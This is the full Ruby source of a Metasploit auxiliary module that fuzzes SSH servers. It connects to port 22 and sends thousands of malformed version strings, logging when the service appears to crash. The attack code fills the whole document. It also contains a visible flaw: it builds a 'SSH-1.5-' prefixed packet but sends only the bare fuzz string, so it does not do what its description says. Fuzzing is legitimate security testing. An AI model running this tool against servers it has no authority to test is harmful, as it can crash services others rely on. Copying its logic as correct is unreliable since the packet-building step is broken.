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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Fuzzer
def initialize(info = {})
super(update_info(info,
'Name' => 'SSH 1.5 Version Fuzzer',
'Description' => %q{
This module sends a series of SSH requests with malicious version strings.
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE
))
register_options([
Opt::RPORT(22)
], self.class)
end
def do_ssh_version(pkt,opts={})
@connected = false
connect
@connected = true
@banner = sock.get_once(-1,opts[:banner_timeout])
return if not @banner
sock.put("#{pkt}\r\n")
end
def run
last_str = nil
last_inp = nil
last_err = nil
ver = make_ssh_version_base
cnt = 0
fuzz_strings do |str|
cnt += 1
pkt = ver + str
if(cnt % 100 == 0)
print_status("Fuzzing with iteration #{cnt} using #{@last_fuzzer_input}")
end
begin
r = do_ssh_version(str,:banner_timeout => 5)
rescue ::Interrupt
print_status("Exiting on interrupt: iteration #{cnt} using #{@last_fuzzer_input}")
raise $!
rescue ::Exception => e
last_err = e
ensure
disconnect
end
if(not @connected)
if(last_str)
print_status("The service may have crashed: iteration:#{cnt-1} method=#{last_inp} string=#{last_str.unpack("H*")[0]} error=#{last_err}")
else
print_status("Could not connect to the service: #{last_err}")
end
return
end
if(not @banner)
print_status("The service may have crashed (no banner): iteration:#{cnt-1} method=#{last_inp} string=#{last_str.unpack("H*")[0]} ")
return
end
last_str = str
last_inp = @last_fuzzer_input
end
end
def make_ssh_version_base
"SSH-1.5-"
end
end
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